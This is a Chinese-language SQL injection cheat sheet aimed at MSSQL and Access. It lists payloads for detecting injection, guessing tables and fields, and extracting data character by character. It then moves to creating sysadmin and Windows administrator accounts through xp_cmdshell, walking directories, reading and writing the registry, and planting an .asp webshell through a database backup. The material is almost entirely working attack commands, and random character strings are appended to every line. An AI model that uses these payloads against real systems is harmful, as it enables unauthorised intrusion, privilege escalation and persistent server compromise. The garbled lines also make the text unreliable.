1.判断是否有注入;and 1=1 ;and 1=2 p)Q5fh0-
2.初步判断是否是mssql ;and user>0 Ux^ue9
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3.注入参数是字符'and [查询条件] and ''=' &.2%p
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' a(fiW%eFb
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5.判断数据库系统 Q:
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;and (select count(*) from sysobjects)>0 mssql gGCr~.5
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;and (select count(*) from msysobjects)>0 access
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 yRQ1Szbjli
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Z;+;_Cw
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 O+'k4
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9.(1)猜字段的ascii值(access) s+ *LVfau
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 v#g:]T
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(2)猜字段的ascii值(mssql) RFe>#o
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 'Q]Wk75
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10.测试权限结构(mssql) &uaSp,L
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- KDP&I J
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- %>zG;4
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- N1y,~Z
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Ai 8+U)
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 07(LLhk@d
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- $Sm iN'7;
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;and 1=(select IS_MEMBER('db_owner'));-- iSX:H;
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11.添加mssql和系统的帐户 eUu<q/FUMj
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;exec master.dbo.sp_addlogin username;-- d{WOO)j
;exec master.dbo.sp_password null,username,password;-- $mq+/|bn
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- SFP?ND+7
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;exec master.dbo.xp_cmdshell 'net user username password $i3`cX)g
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- y~t
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- S n~P1C
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ]5j>O^c<
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12.(1)遍历目录 j:48l[;ed
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;create table dirs(paths varchar(100), id int) IK4(r /
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 3$_- 0>
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;and (select top 1 paths from dirs)>0 _-v$fDrz
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) (o\D=!a
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(2)遍历目录 Mac :E__G
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- pNQ@aJ
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 &=Y%4vq
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 aiw4J
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ?^8.Sa{
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4q@[k:'
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13.mssql中的存储过程 0@&;JMh6<
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xp_regenumvalues 注册表根键, 子键 !.q#X^@>L
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 0*uJS`se6Z
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xp_regread 根键,子键,键值名 IMy!8$\u
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;exec xp_regread q.ppYXJUXi
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 !83 N#Y_Mz
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xp_regwrite 根键,子键, 值名, 值类型, 值 ,mD$h?g
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 2:[G4
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 @Js@\)P79
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xp_regdeletevalue 根键,子键,值名 )Z:maz
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Zc9S[ivq
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 LXc;`]
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14.mssql的backup创建webshell gX5.u9%C\
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use model bU4\Yu
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create table cmd(str image); Ei@al>.\
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insert into cmd(str) values (''); 'EU|w,GL}
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backup database model to disk='c:\l.asp'; iSMVV<7
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15.mssql内置函数 3"6-X_
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;and (select @@version)>0 获得Windows的版本号 61z^(F$@
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa **n109R
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;and (select user_name())>0 爆当前系统的连接用户 %BkPkQA
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;and (select db_name())>0 得到当前连接的数据库 5PKdMEK|q
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16.简洁的webshell wH qbTA
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use model tlmfDQD
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create table cmd(str image); 04#r'UIF
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insert into cmd(str) values (''); e]l.m!,r
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backup database model to disk='g:\wwwtest\l.asp';